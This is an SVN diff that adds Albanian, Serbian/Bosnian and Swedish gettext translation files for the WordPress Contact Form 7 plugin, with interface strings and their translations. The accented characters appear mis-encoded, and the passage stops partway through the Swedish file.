+#: contact-form-7/wp-contact-form-7.php:405
+msgid "Image settings"
+msgstr "Konfigurimi i Imazhit"
+
+#: contact-form-7/wp-contact-form-7.php:406
+msgid "Input field settings"
+msgstr "Konfigurimi i Fushave Te Vendosjes"
+
+#: contact-form-7/wp-contact-form-7.php:407
+msgid "For image"
+msgstr "PÃ«r Imazh"
+
+#: contact-form-7/wp-contact-form-7.php:408
+msgid "For input field"
+msgstr "Per fushen qe do vendosi"
+
+#: contact-form-7/wp-contact-form-7.php:409
+msgid "* One choice per line."
+msgstr "* NjÃ« zgjedhje pÃ«r cdo rresht"
+
+#: contact-form-7/wp-contact-form-7.php:428
+msgid "Contact form created."
+msgstr "Forma e Kontaktit u krijua"
+
+#: contact-form-7/wp-contact-form-7.php:431
+msgid "Contact form saved."
+msgstr "Forma e kontaktit u ruajt"
+
+#: contact-form-7/wp-contact-form-7.php:434
+msgid "Contact form deleted."
+msgstr "Forma e kontaktit u fshi"
+
+#: contact-form-7/wp-contact-form-7.php:441
+msgid "Untitled"
+msgstr "Pa Titull"
+
+#: contact-form-7/wp-contact-form-7.php:465
+msgid "Your Name"
+msgstr "Emri Jot"
+
+#: contact-form-7/wp-contact-form-7.php:465
+#: contact-form-7/wp-contact-form-7.php:467
+msgid "(required)"
+msgstr "(e domosdoshme)"
+
+#: contact-form-7/wp-contact-form-7.php:467
+msgid "Your Email"
+msgstr "Adresa Jote"
+
+#: contact-form-7/wp-contact-form-7.php:469
+msgid "Subject"
+msgstr "Subjekti"
+
+#: contact-form-7/wp-contact-form-7.php:471
+msgid "Your Message"
+msgstr "Mesazhi Juaj"
+
+#: contact-form-7/wp-contact-form-7.php:473
+#: contact-form-7/wp-contact-form-7.php:956
+msgid "Send"
+msgstr "Dergo"
+
+#: contact-form-7/wp-contact-form-7.php:502
+msgid "Your message was sent successfully. Thanks."
+msgstr "Mesazhi juaj u dÃ«rgua me sukses. Faleminderit"
+
+#: contact-form-7/wp-contact-form-7.php:504
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "Gabim nÃ« dÃ«rgimin e mesazhit tuaj. Ju lutem provojeni pÃ«rsÃ«ri ose kontaktoni administratorin"
+
+#: contact-form-7/wp-contact-form-7.php:506
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "Disa gabime ndodhÃ«n. Ju lutem konfirmoni tÃ« gjitha fushat dhe provojeni pÃ«rsÃ«ri"
+
+#: contact-form-7/wp-contact-form-7.php:508
+msgid "Please accept the terms to proceed."
+msgstr "Ju lutem pranoni rregullat pÃ«r tÃ« vazhduar"
+
+#: contact-form-7/wp-contact-form-7.php:510
+msgid "Email address seems invalid."
+msgstr "Adresa e emailit nuk Ã«shtÃ« e sakt"
+
+#: contact-form-7/wp-contact-form-7.php:512
+msgid "Please fill the required field."
+msgstr "Ju lutem plotÃ«soni fushat e domosdoshme"
+
+#: contact-form-7/wp-contact-form-7.php:514
+msgid "Your entered code is incorrect."
+msgstr "Kodi qÃ« futÃ«t Ã«shtÃ« gabim"
+
+#: contact-form-7/includes/admin-panel.php:15
+msgid "Add new"
+msgstr "Shto tÃ« Re"
+
+#: contact-form-7/includes/admin-panel.php:28
+msgid "Copy and paste this code into your post content."
+msgstr "Kopjo dhe ngjit kÃ«tÃ« kod nÃ« pÃ«rmbajtjen e postimit tÃ«nd"
+
+#: contact-form-7/includes/admin-panel.php:33
+msgid "Form"
+msgstr "FormÃ«"
+
+#: contact-form-7/includes/admin-panel.php:37
+msgid "Mail"
+msgstr "Email"
+
+#: contact-form-7/includes/admin-panel.php:39
+#: contact-form-7/includes/admin-panel.php:60
+msgid "To:"
+msgstr "PÃ«r"
+
+#: contact-form-7/includes/admin-panel.php:43
+#: contact-form-7/includes/admin-panel.php:64
+msgid "From:"
+msgstr "Nga:"
+
+#: contact-form-7/includes/admin-panel.php:47
+#: contact-form-7/includes/admin-panel.php:68
+msgid "Subject:"
+msgstr "Subjekti"
+
+#: contact-form-7/includes/admin-panel.php:51
+#: contact-form-7/includes/admin-panel.php:72
+msgid "Message body:"
+msgstr "Mesazhi"
+
+#: contact-form-7/includes/admin-panel.php:56
+msgid "Mail (2)"
+msgstr "Email (2)"
+
+#: contact-form-7/includes/admin-panel.php:58
+msgid "Use mail (2)"
+msgstr "PÃ«rdor email (2)"
+
+#: contact-form-7/includes/admin-panel.php:80
+msgid "Save"
+msgstr "Ruaj"
+
+#: contact-form-7/includes/admin-panel.php:86
+msgid "Delete this contact form"
+msgstr "FshijÃ« kÃ«te form kontakti"
+
+#: contact-form-7/includes/admin-panel.php:87
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"Jeni duke fshirÃ« kÃ«tÃ« form kontakti.\n"
+"  'Anullo' ose 'OK' per ta fshirÃ«"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-sr_RS.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-sr_RS.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-sr_RS.po	(revision 44)
@@ -0,0 +1,427 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: \n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-03-03 16:40+0900\n"
+"PO-Revision-Date: \n"
+"Last-Translator: Vedran <tvedrantz@gmail.com>\n"
+"Language-Team: Ivan Graf\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Bosnian\n"
+"X-Poedit-Country: UNITED STATES\n"
+"X-Poedit-SourceCharset: utf-8\n"
+
+#: contact-form-7/wp-contact-form-7.php:413
+msgid "Contact form"
+msgstr "Kontaktna forma"
+
+#: contact-form-7/wp-contact-form-7.php:582
+#: contact-form-7/includes/admin-panel.php:5
+msgid "Contact Form 7"
+msgstr "Kontaktna Forma 7"
+
+#: contact-form-7/wp-contact-form-7.php:605
+msgid "optional"
+msgstr "opcionalno"
+
+#: contact-form-7/wp-contact-form-7.php:606
+msgid "Generate Tag"
+msgstr "GeneriÅ¡i Tag"
+
+#: contact-form-7/wp-contact-form-7.php:607
+msgid "Text field"
+msgstr "Tekst polje"
+
+#: contact-form-7/wp-contact-form-7.php:608
+msgid "Email field"
+msgstr "Email polje"
+
+#: contact-form-7/wp-contact-form-7.php:609
+msgid "Text area"
+msgstr "Tekst podruÄje"
+
+#: contact-form-7/wp-contact-form-7.php:610
+msgid "Drop-down menu"
+msgstr "Dropdaun  meni"
+
+#: contact-form-7/wp-contact-form-7.php:611
+msgid "Checkboxes"
+msgstr "Äekboksovi"
+
+#: contact-form-7/wp-contact-form-7.php:612
+msgid "Radio buttons"
+msgstr "Radio dugmad"
+
+#: contact-form-7/wp-contact-form-7.php:613
+msgid "Acceptance"
+msgstr "PrihvaÄanje"
+
+#: contact-form-7/wp-contact-form-7.php:614
+msgid "Make this checkbox checked by default?"
+msgstr "Postavi Äekboks za standardni?"
+
+#: contact-form-7/wp-contact-form-7.php:615
+msgid "Make this checkbox work inversely?"
+msgstr "Ucini da Äekboks radi obrnuto?"
+
+#: contact-form-7/wp-contact-form-7.php:616
+msgid "* That means visitor who accepts the term unchecks it."
+msgstr "* ZnaÄi da posjetioc koji prihvati uvijet deselektuje ga."
+
+#: contact-form-7/wp-contact-form-7.php:617
+msgid "CAPTCHA"
+msgstr "CAPTCHA"
+
+#: contact-form-7/wp-contact-form-7.php:618
+msgid "Quiz"
+msgstr "Kviz"
+
+#: contact-form-7/wp-contact-form-7.php:619
+msgid "Quizzes"
+msgstr "Kivizovi"
+
+#: contact-form-7/wp-contact-form-7.php:620
+msgid "* quiz|answer (e.g. 1+1=?|2)"
+msgstr "* Kviz/Odgovor (Npr. 1+1=?/2)"
+
+#: contact-form-7/wp-contact-form-7.php:621
+msgid "File upload"
+msgstr "Uploadiraj fajl"
+
+#: contact-form-7/wp-contact-form-7.php:622
+msgid "bytes"
+msgstr "Bajta"
+
+#: contact-form-7/wp-contact-form-7.php:623
+msgid "Submit button"
+msgstr "Submiti Dugme"
+
+#: contact-form-7/wp-contact-form-7.php:624
+msgid "Name"
+msgstr " Ime"
+
+#: contact-form-7/wp-contact-form-7.php:625
+msgid "Required field?"
+msgstr "Neophodno polje?"
+
+#: contact-form-7/wp-contact-form-7.php:626
+msgid "Allow multiple selections?"
+msgstr "OmoguÄi viÅ¡estruko selektovanje?"
+
+#: contact-form-7/wp-contact-form-7.php:627
+msgid "Insert a blank item as the first option?"
+msgstr "Insertiraj praznu postavku kao poÄetni izbor?"
+
+#: contact-form-7/wp-contact-form-7.php:628
+msgid "Make checkboxes exclusive?"
+msgstr "UÄini Äekboksove ekskluzivnim  ?"
+
+#: contact-form-7/wp-contact-form-7.php:629
+msgid "Choices"
+msgstr "Izbor"
+
+#: contact-form-7/wp-contact-form-7.php:630
+msgid "Label"
+msgstr "Labela"
+
+#: contact-form-7/wp-contact-form-7.php:631
+msgid "Default value"
+msgstr "Defoltna vrijednost"
+
+#: contact-form-7/wp-contact-form-7.php:632
+msgid "Akismet"
+msgstr "Askimet"
+
+#: contact-form-7/wp-contact-form-7.php:633
+msgid "This field requires author's name"
+msgstr "Polje zahtjeva ime autora"
+
+#: contact-form-7/wp-contact-form-7.php:634
+msgid "This field requires author's URL"
+msgstr "Polje zahtjeva URL autora"
+
+#: contact-form-7/wp-contact-form-7.php:635
+msgid "This field requires author's email address"
+msgstr "Ovo polje zahtijeva  E-mail  autora"
+
+#: contact-form-7/wp-contact-form-7.php:636
+msgid "Copy this code and paste it into the form left."
+msgstr "Kopiraj kod i pejstiraj u formu lijevo"
+
+#: contact-form-7/wp-contact-form-7.php:637
+msgid "Foreground color"
+msgstr "Boja forgraunda"
+
+#: contact-form-7/wp-contact-form-7.php:638
+msgid "Background color"
+msgstr "Boja pozadine"
+
+#: contact-form-7/wp-contact-form-7.php:639
+msgid "Image size"
+msgstr "VeliÄina slike"
+
+#: contact-form-7/wp-contact-form-7.php:640
+msgid "Small"
+msgstr "Mala"
+
+#: contact-form-7/wp-contact-form-7.php:641
+msgid "Medium"
+msgstr "Srednja"
+
+#: contact-form-7/wp-contact-form-7.php:642
+msgid "Large"
+msgstr "Velika"
+
+#: contact-form-7/wp-contact-form-7.php:643
+msgid "Image settings"
+msgstr "Karakteristike slike"
+
+#: contact-form-7/wp-contact-form-7.php:644
+msgid "Input field settings"
+msgstr "Postavke polja inputa"
+
+#: contact-form-7/wp-contact-form-7.php:645
+msgid "For image"
+msgstr "Za sliku"
+
+#: contact-form-7/wp-contact-form-7.php:646
+msgid "For input field"
+msgstr "Za polje inputa"
+
+#: contact-form-7/wp-contact-form-7.php:647
+msgid "* One choice per line."
+msgstr "* Jedan izbor po liniji"
+
+#: contact-form-7/wp-contact-form-7.php:648
+msgid "Show"
+msgstr "PrikaÅŸi"
+
+#: contact-form-7/wp-contact-form-7.php:649
+msgid "Hide"
+msgstr "Sakrij"
+
+#: contact-form-7/wp-contact-form-7.php:650
+msgid "File size limit"
+msgstr "Granica veliÄine fajla"
+
+#: contact-form-7/wp-contact-form-7.php:651
+msgid "Acceptable file types"
+msgstr "Prihvatljive vrste fajlova"
+
+#: contact-form-7/wp-contact-form-7.php:677
+msgid "Contact form created."
+msgstr "Kkontaktna forma napravljena"
+
+#: contact-form-7/wp-contact-form-7.php:680
+msgid "Contact form saved."
+msgstr "Kontaktna forma saÄuvana"
+
+#: contact-form-7/wp-contact-form-7.php:683
+msgid "Contact form deleted."
+msgstr "Kontaktna forma izbrisana."
+
+#: contact-form-7/wp-contact-form-7.php:694
+msgid "Untitled"
+msgstr "Bey naslova"
+
+#: contact-form-7/wp-contact-form-7.php:721
+msgid "Your Name"
+msgstr "VaÅ¡e ime"
+
+#: contact-form-7/wp-contact-form-7.php:721
+#: contact-form-7/wp-contact-form-7.php:723
+msgid "(required)"
+msgstr "(mandatorno)"
+
+#: contact-form-7/wp-contact-form-7.php:723
+msgid "Your Email"
+msgstr "VaÅ¡ Email"
+
+#: contact-form-7/wp-contact-form-7.php:725
+msgid "Subject"
+msgstr "Predmet"
+
+#: contact-form-7/wp-contact-form-7.php:727
+msgid "Your Message"
+msgstr "VaÅ¡a Poruka"
+
+#: contact-form-7/wp-contact-form-7.php:729
+#: contact-form-7/wp-contact-form-7.php:1458
+msgid "Send"
+msgstr "PoÅ¡alji"
+
+#: contact-form-7/wp-contact-form-7.php:783
+msgid "Your message was sent successfully. Thanks."
+msgstr "VaÅ¡a poruka je poslana uspjeÅ¡no. Hvala."
+
+#: contact-form-7/wp-contact-form-7.php:785
+#: contact-form-7/wp-contact-form-7.php:787
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "Slanje vaÅ¡e poruke neuspjeÅ¡no. Molimo vas pokuÅ¡ajte kasnije ili kontaktirajte administratora stranice na drugi naÄin."
+
+#: contact-form-7/wp-contact-form-7.php:789
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "GreÅ¡ka pri validiranju. Molimo potvrdite polja i poÅ¡aljite ponovo ."
+
+#: contact-form-7/wp-contact-form-7.php:791
+msgid "Please accept the terms to proceed."
+msgstr "Molimo prihvatite uslove da biste nastavili."
+
+#: contact-form-7/wp-contact-form-7.php:793
+msgid "Email address seems invalid."
+msgstr "Email adresa niije validna"
+
+#: contact-form-7/wp-contact-form-7.php:795
+msgid "Please fill the required field."
+msgstr "Molimo ispunite yahtjevano polje."
+
+#: contact-form-7/wp-contact-form-7.php:797
+msgid "Your entered code is incorrect."
+msgstr "Kod koji ste unijeli nije validan."
+
+#: contact-form-7/wp-contact-form-7.php:799
+msgid "Your answer is not correct."
+msgstr "VaÅ¡ odgovor nije taÄan."
+
+#: contact-form-7/wp-contact-form-7.php:801
+msgid "Failed to upload file."
+msgstr "Uploadiranje fajla neuspjeÅ¡no."
+
+#: contact-form-7/wp-contact-form-7.php:803
+msgid "This file type is not allowed."
+msgstr "Vrsta fajla nije doyvoljenai."
+
+#: contact-form-7/wp-contact-form-7.php:805
+msgid "This file is too large."
+msgstr "Ovaj fajl je prevelik."
+
+#: contact-form-7/includes/admin-panel.php:20
+msgid "Add new"
+msgstr "Dodaj novi"
+
+#: contact-form-7/includes/admin-panel.php:42
+msgid "Copy this code and paste it into your post, page or text widget content."
+msgstr "Kopiraj ovaj kod i pejstajaj ga u sadrÅŸaj koji ÅŸeliÅ¡ poslati, stranicu ili tekst widget."
+
+#: contact-form-7/includes/admin-panel.php:49
+#: contact-form-7/includes/admin-panel.php:257
+msgid "Save"
+msgstr "SaÄuvaj"
+
+#: contact-form-7/includes/admin-panel.php:55
+msgid "Delete this contact form"
+msgstr "IybriÅ¡i ovu kontaktnu formu"
+
+#: contact-form-7/includes/admin-panel.php:56
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"Ovime se briÅ¡e kontaktna forma. \n"
+"'odustani' za prekid, 'OK' za brisanje."
+
+#: contact-form-7/includes/admin-panel.php:70
+msgid "Form"
+msgstr "Forma"
+
+#: contact-form-7/includes/admin-panel.php:90
+msgid "Mail"
+msgstr "PoÅ¡ta"
+
+#: contact-form-7/includes/admin-panel.php:97
+#: contact-form-7/includes/admin-panel.php:149
+msgid "To:"
+msgstr "Za:"
+
+#: contact-form-7/includes/admin-panel.php:101
+#: contact-form-7/includes/admin-panel.php:153
+msgid "From:"
+msgstr "Od:"
+
+#: contact-form-7/includes/admin-panel.php:105
+#: contact-form-7/includes/admin-panel.php:157
+msgid "Subject:"
+msgstr "Predmet:"
+
+#: contact-form-7/includes/admin-panel.php:110
+#: contact-form-7/includes/admin-panel.php:162
+msgid "File attachments:"
+msgstr "Dodani fajl"
+
+#: contact-form-7/includes/admin-panel.php:112
+#: contact-form-7/includes/admin-panel.php:164
+msgid "(You need WordPress 2.7 or greater to use this feature)"
+msgstr "(Potreban WordPress 2.7 ili noviji za koriÅ¡tenje ove moguÄnosti)"
+
+#: contact-form-7/includes/admin-panel.php:120
+#: contact-form-7/includes/admin-panel.php:172
+msgid "Use HTML content type"
+msgstr "Koristi HTML"
+
+#: contact-form-7/includes/admin-panel.php:125
+#: contact-form-7/includes/admin-panel.php:177
+msgid "Message body:"
+msgstr "Telo Poruke"
+
+#: contact-form-7/includes/admin-panel.php:136
+msgid "Mail (2)"
+msgstr "PoÅ¡ta (2)"
+
+#: contact-form-7/includes/admin-panel.php:143
+msgid "Use mail (2)"
+msgstr "Koristi poÅ¡tu (2)"
+
+#: contact-form-7/includes/admin-panel.php:188
+msgid "Messages"
+msgstr "Poruke"
+
+#: contact-form-7/includes/admin-panel.php:196
+msgid "Sender's message was sent successfully"
+msgstr "Poruka poÅ¡iljaoca je uspeÅ¡no poslana"
+
+#: contact-form-7/includes/admin-panel.php:200
+msgid "Sender's message was failed to send"
+msgstr "Poruka poÅ¡iljaoca nije poslana"
+
+#: contact-form-7/includes/admin-panel.php:204
+msgid "Akismet judged the sending activity as spamming"
+msgstr "Akismet je zakljuÄio da je poruka spam"
+
+#: contact-form-7/includes/admin-panel.php:208
+msgid "Validation errors occurred"
+msgstr "Desile su se greÅ¡ke u validaciji"
+
+#: contact-form-7/includes/admin-panel.php:212
+msgid "There is a field that sender is needed to fill in"
+msgstr "Postoji polje koje poÅ¡iljaoc mora ispuniti"
+
+#: contact-form-7/includes/admin-panel.php:216
+msgid "Email address that sender entered is invalid"
+msgstr "Unesena Email adresa nije valjana"
+
+#: contact-form-7/includes/admin-panel.php:220
+msgid "There is a field of term that sender is needed to accept"
+msgstr "Postoji polje koje poÅ¡iljaoc mora prihvatiti"
+
+#: contact-form-7/includes/admin-panel.php:224
+msgid "Sender doesn't enter the correct answer to the quiz"
+msgstr "PoÅ¡iljatelj nije taÄno odgovorio na kviy pitanje."
+
+#: contact-form-7/includes/admin-panel.php:228
+msgid "The code that sender entered does not match the CAPTCHA"
+msgstr "UneÅ¡en kod se ne podudara s CAPTCHA-om"
+
+#: contact-form-7/includes/admin-panel.php:232
+msgid "Uploading a file fails for any reason"
+msgstr "Uploadiranje fajla neuspjeÅ¡no  iz bilo kojeg razloga"
+
+#: contact-form-7/includes/admin-panel.php:236
+msgid "Uploaded file is not allowed file type"
+msgstr "Ekstenzija fajla nije dozvoljena"
+
+#: contact-form-7/includes/admin-panel.php:240
+msgid "Uploaded file is too large"
+msgstr "Uploadirani fajl je prevelik"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-sv_SE.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-sv_SE.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-sv_SE.po	(revision 44)
@@ -0,0 +1,443 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Contact Form 7\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-03-15 03:27+0900\n"
+"PO-Revision-Date: \n"
+"Last-Translator: Mattias Tengblad <mst@eyesx.com>\n"
+"Language-Team: WP-Support Sverige / Mattias Tengblad <info@wp-support.se / mst@eyesx.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Swedish\n"
+"X-Poedit-Country: SWEDEN\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"Plural-Forms: nplurals=2; plural=n != 1\n"
+
+#: contact-form-7/wp-contact-form-7.php:405
+msgid "Contact form"
+msgstr "KontaktformulÃ€r"
+
+#: contact-form-7/wp-contact-form-7.php:593
+#: contact-form-7/includes/admin-panel.php:5
+msgid "Contact Form 7"
+msgstr "Contact Form 7"
+
+#: contact-form-7/wp-contact-form-7.php:616
+msgid "optional"
+msgstr "valfri"
+
+#: contact-form-7/wp-contact-form-7.php:617
+msgid "Generate Tag"
+msgstr "Generera formatering"
+
+#: contact-form-7/wp-contact-form-7.php:618
+msgid "Text field"
+msgstr "TextfÃ€lt"
+
+#: contact-form-7/wp-contact-form-7.php:619
+msgid "Email field"
+msgstr "E-postfÃ€lt"
+
+#: contact-form-7/wp-contact-form-7.php:620
+msgid "Text area"
+msgstr "MeddelandefÃ€lt"
+
+#: contact-form-7/wp-contact-form-7.php:621
+msgid "Drop-down menu"
+msgstr "Rullgardinsmeny"
+
+#: contact-form-7/wp-contact-form-7.php:622
+msgid "Checkboxes"
+msgstr "Checkboxar"
+
+#: contact-form-7/wp-contact-form-7.php:623
+msgid "Radio buttons"
+msgstr "Radioknappar"
+
+#: contact-form-7/wp-contact-form-7.php:624
+msgid "Acceptance"
+msgstr "GodkÃ€nnande"
+
+#: contact-form-7/wp-contact-form-7.php:625
+msgid "Make this checkbox checked by default?"
+msgstr "Skall denna checkbox vara ifylld som standard?"
+
+#: contact-form-7/wp-contact-form-7.php:626
+msgid "Make this checkbox work inversely?"
+msgstr "GÃ¶r sÃ¥ att denna checkbox mÃ¥ste avmarkeras?"
+
+#: contact-form-7/wp-contact-form-7.php:627
+msgid "* That means visitor who accepts the term unchecks it."
+msgstr "* Det betyder att besÃ¶kare som accepterar villkoren mÃ¥ste avmarkera det."
+
+#: contact-form-7/wp-contact-form-7.php:628
+msgid "CAPTCHA"
+msgstr "CAPTCHA (Bildverifikation)"
+
+#: contact-form-7/wp-contact-form-7.php:629
+msgid "Quiz"
+msgstr "Antispam-frÃ¥ga"
+
+#: contact-form-7/wp-contact-form-7.php:630
+msgid "Quizzes"
+msgstr "Antispam-frÃ¥gor"
+
+#: contact-form-7/wp-contact-form-7.php:631
+msgid "* quiz|answer (e.g. 1+1=?|2)"
+msgstr "* frÃ¥ga|svar (ex. 1+1=?|2)"
+
+#: contact-form-7/wp-contact-form-7.php:632
+msgid "File upload"
+msgstr "Filuppladdning"
+
+#: contact-form-7/wp-contact-form-7.php:633
+msgid "bytes"
+msgstr "bytes"
+
+#: contact-form-7/wp-contact-form-7.php:634
+msgid "Submit button"
+msgstr "Skicka-knapp"
+
+#: contact-form-7/wp-contact-form-7.php:635
+msgid "Name"
+msgstr "Namn"
+
+#: contact-form-7/wp-contact-form-7.php:636
+msgid "Required field?"
+msgstr "Obligatoriskt fÃ€lt?"
+
+#: contact-form-7/wp-contact-form-7.php:637
+msgid "Allow multiple selections?"
+msgstr "TillÃ¥t flera val?"
+
+#: contact-form-7/wp-contact-form-7.php:638
+msgid "Insert a blank item as the first option?"
+msgstr "LÃ€gg till ett tomt objekt som fÃ¶rsta val?"
+
+#: contact-form-7/wp-contact-form-7.php:639
+msgid "Make checkboxes exclusive?"
+msgstr "GÃ¶ra checkboxarna exklusiva?"
+
+#: contact-form-7/wp-contact-form-7.php:640
+msgid "Choices"
+msgstr "Val"
+
+#: contact-form-7/wp-contact-form-7.php:641
+msgid "Label"
+msgstr "MÃ€rkning"
+
+#: contact-form-7/wp-contact-form-7.php:642
+msgid "Default value"
+msgstr "StandardvÃ€rde"
+
+#: contact-form-7/wp-contact-form-7.php:643
+msgid "Akismet"
+msgstr "Akismet"
+
+#: contact-form-7/wp-contact-form-7.php:644
+msgid "This field requires author's name"
+msgstr "Det hÃ€r fÃ€ltet krÃ€ver fÃ¶rfattarens namn"
+
+#: contact-form-7/wp-contact-form-7.php:645
+msgid "This field requires author's URL"
+msgstr "Det hÃ€r fÃ€ltet krÃ€ver fÃ¶rfattarens webbadress"
+
+#: contact-form-7/wp-contact-form-7.php:646
+msgid "This field requires author's email address"
+msgstr "Det hÃ€r fÃ€ltet krÃ€ver fÃ¶rfattarens e-postadress"
+
+#: contact-form-7/wp-contact-form-7.php:647
+msgid "Copy this code and paste it into the form left."
+msgstr "Kopiera och klistra denna kod i formulÃ€ret."
+
+#: contact-form-7/wp-contact-form-7.php:648
+msgid "Foreground color"
+msgstr "FÃ¶rgrundsfÃ€rg"
+
+#: contact-form-7/wp-contact-form-7.php:649
+msgid "Background color"
+msgstr "BakgrundsfÃ€rg"
+
+#: contact-form-7/wp-contact-form-7.php:650
+msgid "Image size"
+msgstr "Bildstorlek"
+
+#: contact-form-7/wp-contact-form-7.php:651
+msgid "Small"
+msgstr "Liten"
+
+#: contact-form-7/wp-contact-form-7.php:652
+msgid "Medium"
+msgstr "Mellan"
+
+#: contact-form-7/wp-contact-form-7.php:653
+msgid "Large"
+msgstr "Stor"
+
+#: contact-form-7/wp-contact-form-7.php:654
+msgid "Image settings"
+msgstr "BildinstÃ€llningar"
+
+#: contact-form-7/wp-contact-form-7.php:655
+msgid "Input field settings"
+msgstr "InstÃ€llningar fÃ¶r inmatningsfÃ€lt"
+
+#: contact-form-7/wp-contact-form-7.php:656
+msgid "For image"
+msgstr "FÃ¶r bild"
+
+#: contact-form-7/wp-contact-form-7.php:657
+msgid "For input field"
+msgstr "FÃ¶r inmatningsfÃ€lt"
+
+#: contact-form-7/wp-contact-form-7.php:658
+msgid "* One choice per line."
+msgstr "* Ett val per rad."
+
+#: contact-form-7/wp-contact-form-7.php:659
+msgid "Show"
+msgstr "Visa"
+
+#: contact-form-7/wp-contact-form-7.php:660
+msgid "Hide"
+msgstr "GÃ¶m"
+
+#: contact-form-7/wp-contact-form-7.php:661
+msgid "File size limit"
+msgstr "GrÃ€ns fÃ¶r filstorlek"
+
+#: contact-form-7/wp-contact-form-7.php:662
+msgid "Acceptable file types"
+msgstr "TillÃ¥tna filtyper"
+
+#: contact-form-7/wp-contact-form-7.php:663
+msgid "Note: To use CAPTCHA, you need Really Simple CAPTCHA plugin installed."
+msgstr "Notera: FÃ¶r att anvÃ€nda CAPTCHA sÃ¥ behÃ¶ver du ha Really Simple CAPTCHA-tillÃ€gget installerat."
+
+#: contact-form-7/wp-contact-form-7.php:690
+msgid "Contact form created."
+msgstr "KontaktformulÃ€r skapat."
+
+#: contact-form-7/wp-contact-form-7.php:693
+msgid "Contact form saved."
+msgstr "KontaktformulÃ€r sparat."
+
+#: contact-form-7/wp-contact-form-7.php:696
+msgid "Contact form deleted."
+msgstr "KontaktformulÃ€r raderat."
+
+#: contact-form-7/wp-contact-form-7.php:707
+msgid "Untitled"
+msgstr "NamnlÃ¶s"
+
+#: contact-form-7/wp-contact-form-7.php:734
+msgid "Your Name"
+msgstr "Ditt namn"
+
+#: contact-form-7/wp-contact-form-7.php:734
+#: contact-form-7/wp-contact-form-7.php:736
+msgid "(required)"
+msgstr "(obligatoriskt)"
+
+#: contact-form-7/wp-contact-form-7.php:736
+msgid "Your Email"
+msgstr "Din e-post"
+
+#: contact-form-7/wp-contact-form-7.php:738
+msgid "Subject"
+msgstr "Ãmne"
+
+#: contact-form-7/wp-contact-form-7.php:740
+msgid "Your Message"
+msgstr "Ditt meddelande"
+
+#: contact-form-7/wp-contact-form-7.php:742
+#: contact-form-7/wp-contact-form-7.php:1476
+msgid "Send"
+msgstr "Skicka"
+
+#: contact-form-7/wp-contact-form-7.php:796
+msgid "Your message was sent successfully. Thanks."
+msgstr "Tack fÃ¶r ditt meddelande!"
+
+#: contact-form-7/wp-contact-form-7.php:798
+#: contact-form-7/wp-contact-form-7.php:800
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "Ett fel uppstog nÃ€r ditt meddelande skulle skickas. Var vÃ€nlig fÃ¶rsÃ¶k senare."
+
+#: contact-form-7/wp-contact-form-7.php:802
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "Valideringsfel. Var vÃ€nlig undersÃ¶k fÃ€lten du fyllt i och fÃ¶rsÃ¶k igen."
+
+#: contact-form-7/wp-contact-form-7.php:804
+msgid "Please accept the terms to proceed."
+msgstr "Acceptera villkoren fÃ¶r att fortsÃ€tta."
+
+#: contact-form-7/wp-contact-form-7.php:806
+msgid "Email address seems invalid."
+msgstr "Du har angivit en felaktig e-postadress."
+
+#: contact-form-7/wp-contact-form-7.php:808
+msgid "Please fill the required field."
+msgstr "VÃ€nligen fyll i alla obligatoriska fÃ€lt."
+
+#: contact-form-7/wp-contact-form-7.php:810
+msgid "Your entered code is incorrect."
+msgstr "Verifieringskoden du angav Ã€r felaktig."
+
+#: contact-form-7/wp-contact-form-7.php:812
+msgid "Your answer is not correct."
+msgstr "Verifieringskoden du angav Ã€r felaktig."
+
+#: contact-form-7/wp-contact-form-7.php:814
+msgid "Failed to upload file."
+msgstr "Filen kunde inte laddas upp."
+
+#: contact-form-7/wp-contact-form-7.php:816
+msgid "This file type is not allowed."
+msgstr "Filtypen Ã€r inte tillÃ¥ten."
+
+#: contact-form-7/wp-contact-form-7.php:818
+msgid "This file is too large."
+msgstr "Filen Ã€r fÃ¶r stor."
+
+#: contact-form-7/wp-contact-form-7.php:1417
+msgid "To use CAPTCHA, you need <a href=\"http://wordpress.org/extend/plugins/really-simple-captcha/\">Really Simple CAPTCHA</a> plugin installed."
+msgstr "FÃ¶r att anvÃ€nda CAPTCHA sÃ¥ behÃ¶ver du ha <a href=\"http://wordpress.org/extend/plugins/really-simple-captcha/\">Really Simple CAPTCHA</a>-tillÃ€gget installerat."
+
+#: contact-form-7/includes/admin-panel.php:20
+msgid "Add new"
+msgstr "LÃ€gg till ny"
+
+#: contact-form-7/includes/admin-panel.php:42
+msgid "Copy this code and paste it into your post, page or text widget content."
+msgstr "Kopiera in denna kod i ditt inlÃ€gg, pÃ¥ din sida eller textwidget."
+
+#: contact-form-7/includes/admin-panel.php:49
+#: contact-form-7/includes/admin-panel.php:262
+msgid "Save"
+msgstr "Spara"
+
+#: contact-form-7/includes/admin-panel.php:56
+msgid "Copy"
+msgstr "Kopiera"
+
+#: contact-form-7/includes/admin-panel.php:60
